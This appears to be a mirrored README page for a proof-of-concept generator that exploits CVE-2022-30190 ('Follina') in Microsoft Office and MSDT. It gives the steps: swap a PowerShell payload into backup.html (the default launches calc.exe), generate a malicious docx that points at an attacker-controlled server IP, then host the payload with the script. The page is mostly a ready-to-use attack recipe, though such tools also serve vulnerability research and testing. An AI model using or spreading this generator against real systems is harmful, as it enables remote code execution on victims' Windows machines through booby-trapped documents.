CVE-2022-30190 PoC — Microsoft Windows Support Diagnostic Tool 操作系统命令注入漏洞

Description

MS-MSDT Follina CVE-2022-30190 PoC document generator

介绍

# MS-MSDT Follina CVE-2022-30190 PoC

Malicious docx generator to exploit  (Microsoft Office Word Remote Code Execution)

Creation of this Script is based on [CVE-2021-40444 PoC by LockedByte](https://github.com/lockedbyte/CVE-2021-40444) and [writeup by Tothi](https://gist.github.com/tothi/66290a42896a97920055e50128c9f040)

# Using

First modify backup.html and replace powershell payload. Right now just pops a `calc.exe` using `IEX('calc.exe')`.

`python3 exploit.py generate http://<SRV IP>`

![Document generation](./img/gen.png)

Once you generate the malicious docx (will be at `out/`) you can setup the server:

`sudo python3 exploit.py host 80`

![Server](./img/srv.png)

Finally try the docx in a Windows Virtual Machine:

![Pop Calc](./img/calc.png)

文件快照

备注